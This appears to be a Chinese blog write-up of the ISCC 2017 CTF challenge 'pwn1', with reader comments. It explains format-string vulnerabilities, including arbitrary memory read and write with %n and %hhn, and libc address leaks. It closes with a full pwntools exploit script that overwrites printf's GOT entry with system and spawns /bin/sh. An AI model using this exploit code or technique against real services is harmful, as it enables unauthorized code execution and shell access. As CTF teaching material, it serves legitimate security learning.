美文网首页CTFCTF@IT·互联网
[ISCC](PWN)pwn1 + 格式化字符串漏洞利用与分析

[ISCC](PWN)pwn1 + 格式化字符串漏洞利用与分析

作者: 王一航 | 来源:发表于2017-05-02 11:08 被阅读1892次

    简介 :

    pwn1
    200
    *28 solves*
    欢迎来的pwn世界,这次你能学到什么新知识呢?115.28.185.220:11111
    [附件下载](http://iscc.isclab.org.cn/static/uploads/1ec9c1730461edfff561c395f566215d/pwn1.zip)
    

    image.png

    很明显的格式化字符串漏洞

    检查一下可执行程序的保护类型

    image.png

    程序没有开启 PIE 保护 , 那么也就是说
    程序的 .text .bss 等段在目标服务器中的内存地址中是固定的
    基址为 : 0x8048000
    我们知道利用格式化字符串是可以对任意内存进行读写操作的
    那么这个程序我们应该如何去利用 ?
    首先需要明确的是我们这里的目的 : 拿到目标主机的 shell
    那么就是 :

    shellcode 或者执行 system("/bin/sh")

    但是这里程序开启了 NX 保护 , 因此 shellcode 这条路应该是行不通了

    那么我们就要考虑如何调用 system
    要调用一个函数

    1. 我们首先需要知道这个函数在内存中的地址
    2. 而且需要在栈上为程序布局好参数
    3. 还要能让 ip 跳转到这个函数去执行

    第一个问题 , system 的地址如何获取 ?

    利用 printf 函数 , 可以打印任意内存的数据
    那么我们就可以利用这个漏洞打印出 got 表中的函数在内存中的地址
    比如说打印出 : puts 函数(libc中的函数)
    这样我们就知道了一个 libc 中的函数
    根据这个函数在给定的 libc 的偏移我们就可以还原出整个 libc 在内存中的布局情况
    这样我们就可以很容易找到 system 函数在目标服务器中的地址 , 这个问题也就解决了
    但是如果这道题并没有给出 libc ?
    应该怎么去获取 system 的地址呢 ?
    首先 Linux 的内核是不断在更新的
    其中的 libc 版本也随着不断地更新
    那么当 libc 的内容发生变化以后 , 其中函数之间的相对偏移肯定会发生变化
    那么我们应该怎么才能根据已知的函数地址来得到目标函数地址呢 ?
    做一个假设 :
    条件一 : 我们拥有从Linux发型以来所有版本的 libc 文件
    条件二 : 我们已知至少两个函数函数在目标主机中的真实地址
    那么我们是不是可以用第二个条件去推测目标主机的 libc 版本呢 ?
    我们来进行进一步的分析 :
    关于条件二 :
    这里我们可以注意到 : printf 是可以被我们循环调用的
    因此可以进行连续的内存泄露
    我们可以将多个 got 表中的函数地址泄露出来 ,
    我们这样就可以的至少两个函数的地址 , 条件二满足
    关于条件一 :
    哈哈~对了 , 这么有诱惑力的事情一定已经有人做过了 , 这里给出一个网站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根据这个原理运作的
    两个条件都满足 , 根据这些函数之间的偏移去筛选出 libc 的版本
    这样我们就相当于得到了目标服务器的 libc 文件 , 达到了同样的效果

    我们再来看第二个和第三个问题 :

    那么再来做一个假设
    如果我们可以修改 got 表中的某一个函数的地址到 system 的地址
    那么程序在调用这个函数的时候其实调用的就是 system 函数了, 根据格式化字符串漏洞的特性 , 我们知道是可以写任意内存的 , 那么这样就解决了第三个问题 , 怎么把 ip 设置到 system 函数
    可是参数要怎么传递呢 ?

    我们注意到 , 这个程序中存在以下 libc 中的函数 :

    puts
    scanf
    printf
    gets
    

    我们仔细想一下 , 这些函数的参数都是什么样子的 , 我们需要调用的 system 函数的参数是什么样的

    SYSTEM(3)                             Linux Programmer's Manual                             SYSTEM(3)
    
    NAME
           system - execute a shell command
    
    SYNOPSIS
           #include <stdlib.h>
    
           int system(const char *command);
    

    是一个字符指针 , 说得更通用一点就是是一个地址
    那么是不是就是说 , 如果我们可以控制上面的几个函数的第一个参数为 "/bin/sh" 的地址
    那么我们就相当于为 system 函数传递了参数 ?
    答案是肯定的
    我们现在来回过头来看看程序的执行流程 :

    image.png

    在跳转到 system 之前 , 我们肯定要先调用 printf 将某一个函数的 got 表进行覆盖
    那么我们应该覆盖哪个函数 ?
    注意到 printf 函数的参数是我们输入的字符串的地址
    如果我们先利用 printf 的格式化字符串漏洞将 printf 的 got 表修改为 system 的地址
    然后程序继续执行
    在 gets 的地方我们输入 "/bin/sh"
    然后程序自动执行 printf , 事实上 printf 已经被我们修改成了 system , 而且传递的参数就是我们输入的 /bin/sh
    其实如果有一个函数的第一个参数是一个整形而且我们可以控制的话
    我们也可以通过控制这个整形参数来达到执行 system("/bin/sh") 的目的
    这样我们就完成了对漏洞利用过程的分析


    下面我简单介绍一个格式化字符串漏洞 :
    大家在学习 c 语言的时候写过的第一个程序就是

    #include <stdio.h>
    
    int main(){
      printf("Hello world!\n");
    }
    

    这里使用到了 prinf 函数
    随着学习的深入 , 我们逐渐知道 printf 是一个参数长度可变的函数
    其中第一个参数格式化字符串 , 这个格式化字符串中可以包含以 % 为开头标记的格式化字符串
    然后 printf 函数在处理第一个参数的时候 , 当每一次遇到 % 开头的标记 , 就会根据这个 % 开头的格式化字符串所规定的规则在堆上构造一个新的结果字符串 , 将整个格式化字符串检索完毕后 , 会将这个字符串输入
    我们来总结一下 printf 有哪些可以使用的 % 标记 :

    常见用法 : 
    %c 将对应参数以字符的形式进行格式化
    %hd 以短整形的形式 (这里加上 h 表示短整形 , 也就是从内存取值的时候只取 2 个字节 (32位))
    %d 以整形的形式
    %ld 以长整形的形式
    %x 以 16 进制的形式
    %s 以字符串的形式 (注意这里与上面的有所不同 , 这里字符串的参数实际上是一个地址 , 这里的地址指向了需要被打印的字符串)
    高级用法 : 
    每一个格式化字符串的 % 后可以跟一个 10 进制的常数 , 表示格式化后得到的字符串的长度
    比如说 %4c 这会打印出三个空格以及一个字符
    每一个格式化字符串的 % 之后可以跟一个十进制的常数再跟一个 $ 符号, 表示格式化指定位置的参数 : 
    例如 : 
    int a = 1;
    int b = 2;
    int c = 3;
    printf("%1$d, %2$d, %3$d\n", a, b, c);
    // 输出结果为 : 1,2,3
    printf("%3$d, %1$d, %2$d\n", a, b, c);
    // 输出结果为 : 3,1,2
    
    还有一些不是很常用的格式化字符串例如 : 
    %n
    这个格式化字符串的作用是 : 将当前已经格式化写入堆中的字符个数写入到对应的参数中
    这样说可能有点抽象 , 举个例子 : 
    int size = 0;
    printf("123456789%n", &size);
    printf 首先会扫描第一个参数 , 
    如果这个参数不是转义字符或者格式化字符串
    就直接将其复制到堆上已经申请好的用于保存即将输出的结果字符串的内存地址中 , 
    并将计数器加上 1 
    如果是转义字符 , 则将转义字符的结果复制到堆上 , 同理 + 1
    当遇到格式化字符串 , 也就同样的道理
    这里的计数器保存了当前格式化得到的结果的字符数
    那么当上述 prinf 执行结束后 , size 的值就会被修改为 9
    一个值得注意的地方是 : 参数为 &size
    也就是这个参数是一个内存地址
    

    好了 , 介绍完了格式化字符串函数 , 再来介绍一下如何利用格式化字符串进行任意内存的读写的 :
    首先来看任意内存读 :
    我们知道 printf 可以使用 %s 来打印一个字符串
    而且参数是一个内存地址
    那么也就是说只要我们能控制 printf 的参数 , 就可以通过 %s 来打印任意的内存数据
    我们知道栈是由高地址向低地址生长的
    假如说 printf 只有一个参数 , 这个参数是可以被我们控制的
    我们就可以通过在这第一个参数中添加 % 这样的格式化字符串来打印出栈上更高地址的数据
    一般情况下 , 存在漏洞的代码会长这样

    in main(){
      char buffer[0x100] = {0};
      read(0, buffer, 0x100);
      printf(buffer);
    }
    

    这个小程序中 , buffer 是分配在栈上的 , 而且对 buffer 的分配要早于 printf 的执行
    那么也就是说 buffer 的地址是高于 printf 的栈的
    那么我们就可以利用格式化字符读取到 buffer 的内容 , 因为根据我们之前的分析 , printf 会打印更高地址的数据 , 也就是 printf 将更高的地址上的数据作为了参数
    假如我们的格式化字符串是 : "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
    我们发现在第六个输出的16进制数的地方输出了 : 0x41414141
    那么也就是说 , 我们输入的字符串的地址比 printf 的第一个参数的地址要高 6 * 4 = 24 个字节 (32 位)

    那么如果我们把第六个 %08x 修改为 %s , 这样
    printf 就会将 AAAA 这个数据当做是地址 , 进行一次取值操作 , 将 0x41414141 这个地址中数据打印出来 , 但是这里 0x41414141 这个地址是非法的 , 所以程序会报一个段错误 , 并退出
    可是如果我们输入的并不是AAAA , 而是一个可读的内存地址的话 , 我们就可以使用 %s 来打印出这个内存的数据了
    TIP : 一般在利用的时候 :
    "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
    会写成 : "AAAA%6$08x"
    减少 payload 长度

    再来看看任意地址写 :
    需要用到 %n 这个这个格式化字符串
    同样的道理 , "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
    当打印这个格式化字符串的时候如果在第 6 个位置遇到了 AAAA
    那么也就是说我们就可以通过修改第六个 %08x 来让 printf 将AAAA视作一个地址 (%s 和 %n 都会这样)
    那么如果我们现在要向 0x12345678 的地址写入数据 : 0x19283746
    应该怎么办呢 ?
    如果我们这样输入 :
    "\x78\x56\x34\x12%08x.%08x.%08x.%08x.%n."
    printf 会先扫描这个字符串
    通过计算 , 当扫描到 %n 的时候应该是已经打印了 :
    4 + 8 + 1 + 8 + 1 + 8 + 1 + 8 + 1 = 40 = 0x28个字符
    那么这个 0x12345678 的地址就会被写入 \x28\x00\x00\x00
    这样我们其实已经实现了写内存操作
    但是我们的目的可是要向这个地址写入 0x19283746 = 422065990 这么大的值呀
    难道我们要让结果字符串的长度是 422065990 吗 ? 显然是不可能的
    这里我们就要利用到 h 这个符号了
    根据之前对 printf 的介绍 , 我们可以知道 %hd 可以以一个短整形的格式打印数据
    那么这里也是一样的
    %hn就是向两个字节的内存地址写入数据
    %hhn就是向一个字节
    这样的话 , 我们就大大减少了我们输入的字符的长度
    但是这么多字符如果要一个一个输入的话还是很不好
    这里我们还需要用到 %c 来进行快速格式化得到制定数量的字符
    %4c 就可以得到四个字符的输出
    那么%128c , %3543c 也是同样的道理
    我一般比较习惯于使用 %hhn , 这样比较容易控制数量
    我们再来回过头来看看之前写入任意内存的问题 :
    那么如果我们现在要向 0x12345678 的地址写入数据 : 0x19283746

    首先我们需要将被写入的内存地址布局在栈上
    这里我们使用 %hhn 那么也就是需要四个地址

    "\x78\x56\x34\x12\x79\x56\x34\x12\x7a\x56\x34\x12\x7b\x56\x34\x12"
    

    然后我们就可以使用 %7$ %8$ 来定位到这些内存地址
    我们还要控制被写入的数据
    就可以通过 %c 来控制写入的字节数
    这里需要考虑一个问题 , 就是溢出
    如果我们要向一个内存字节中写入 0x10 当时我们已经打印了多于 0x10 的数据那么怎么办呢 ?
    这里也不用担心 , 因为单字节的写入是会产生溢出的
    假如说我们现在已经向内存中写入了 0xbf 个字节
    我们要再次写入 0x10 , 那么我们只需要将这个计数器调整为 0x110
    这样产生溢出以后 写入内存的就是 0x10 了
    这样就解决了一次性写入多个字节的问题


    利用脚本 :

    #!/usr/bin/env python
    
    from pwn import *
    
    def get_number(printed, target):
        print "[+] Target : %d" % (target)
        print "[+] printed number : %d" % (printed)
        if printed > target:
            return 256 - printed + target
        elif printed == target:
            return 0
        else:
            return target - printed
    
    def write_memery(target, data, offset):
        lowest = data >> 8 * 3 & 0xFF
        low = data >> 8 * 2 & 0xFF
        high = data >> 8 * 1 & 0xFF
        highest = data >> 8 * 0 & 0xFF
        printed = 0
        payload = p32(target + 3) + p32(target + 2) + p32(target + 1) + p32(target + 0)
        length_lowest = get_number(len(payload), lowest)
        length_low = get_number(lowest, low)
        length_high = get_number(low, high)
        length_highest = get_number(high, highest)
        payload += '%' + str(length_lowest) + 'c' + '%' + str(offset) + '$hhn'
        payload += '%' + str(length_low) + 'c' + '%' + str(offset + 1) + '$hhn'
        payload += '%' + str(length_high) + 'c' + '%' + str(offset + 2) + '$hhn'
        payload += '%' + str(length_highest) + 'c' + '%' + str(offset + 3) + '$hhn'
        return payload
    
    
    def leak(addr):
        Io.sendline("1")
        Io.readuntil("please input your name:\n")
        payload = p32(addr) + "%6$s"
        Io.sendline(payload)
        leak_data = Io.read()[4:8]
        return leak_data
    
    
    Io = process("./pwn1")
    Io.readuntil("plz input$")
    
    # leak printf addr
    printf_got = 0x0804A010
    print "[+] got.printf : [%s]" % (hex(printf_got))
    printf_addr = u32(leak(printf_got))
    print "[+] Address of printf : [%s]" % (hex(printf_addr))
    
    # get the address of system
    system_offset = 0x0003a840
    printf_offset = 0x000497c0
    system_addr = printf_addr - printf_offset + system_offset
    print "[+] Address of system : [%s]" % (hex(system_addr))
    
    # write got.print to address of system
    payload = write_memery(printf_got, system_addr, 6)
    print "[+] Payload : %s" % (repr(payload))
    Io.sendline("1")
    Io.sendline(payload)
    
    # write '/bin/sh'
    Io.sendline("1")
    Io.sendline("/bin/sh")
    
    # interactive
    Io.interactive()
    

    参考资料 :
    黑客之道-漏洞发掘的艺术

    相关文章

      网友评论

      • 风起时_bd43:能具体发一下最后 那点 用%hhn能在一次写入 的EXP 吗?溢出之后如何调整?谢谢~
        王一航:我记得 python 的 pwntools 库里是有我刚才说的那种构造 format 字符串的函数的 , 不过我认为 , 如果可以自己实现一遍的话会更有好处 , 毕竟高手和脚本小子的差距就在这里
        《漏洞发掘的艺术》中有一句话 , "玩溢出只会发生在业余爱好者的身上 , 而专家可以准确地将球浸在他们想调用的袋子里 , 在程序 Exploition 领域 , 专业与业余的区别就是准确地知道某些东西在存储器中的位置还是仅仅靠猜测" 希望你我共勉吧:blush: 加油
        王一航:同样的道理 , 要一次性写入四个字节的话 , 只要计算好溢出后写入内存的结果 , 就可以正确写入 n 个字节 , 这里如果你把这里搞清楚以后 , 为了方便你可以实现一个写入任意内存的函数 , 这样就可以直接调用这个函数来写入任意内存 , 也就不止这个题目可以用 , 几乎所有的格式化字符串漏洞都可以使用这个函数来构造一个写入任意内存任意数据的格式化字符串
        等比赛结束后 , 这个题目的整个 exploit 脚本会发出来
        王一航:由于现在比赛还在进行 , 所以很抱歉不能直接把 exp 发出来 , 不过可以给你提供一个思路 , 因为 %hhn 向单字节内存中写入的数据是 printf 函数当前已经格式化的字符的数量 , 一旦已经格式化的字符数量大于单字节可以表示的范围 0-255 的时候 , 就会产生溢出 , 也就是说 , 当已格式化的字符数为 256 的时候 , 实际上会发生溢出 , 写入的数据就是 \x00
      • 939cfe9d5db9:请教有两个问题:(1)用%hhn能在一次写入吗,分开写第二次调用printf时地址改变就会报错啊(2)将printf覆盖成system后,introduce里面也有个printf,不会报错吗
        小黑_6934:大神 64位的怎么办
        939cfe9d5db9:谢谢,提供了很大的帮助
        王一航:( 1 ). 可以一次写入多个字节的数据 , 具体的操作在文章的最后有讲 , 如果还有问题可以私聊我或者发邮件
        ( 2 ). 这里如果把 printf 的 got 表覆盖为 system 函数的地址 , 在执行到 introduce 函数之后的确是会报错的 . 但是这里的报错并不会造成程序的异常退出 , 因为使用 system 函数执行一个命令的时候 , 会在一个新的终端中去执行 , 也就是说 , 在 introduce 函数中最后的 printf 事实上执行了 system("xxx") 这里 system 函数并没有在环境变量中找到这个 xxx 这个程序 , 会报一个 command not found 的错误 , 然后继续回到下一条指令继续执行 , 这个时候就到了 gets 函数 , 这个时候输入 /bin/sh 或者 cat flag 就可以拿到目标主机的 shell 或者 flag 了

      本文标题:[ISCC](PWN)pwn1 + 格式化字符串漏洞利用与分析

      本文链接:https://www.haomeiwen.com/subject/jvhctxtx.html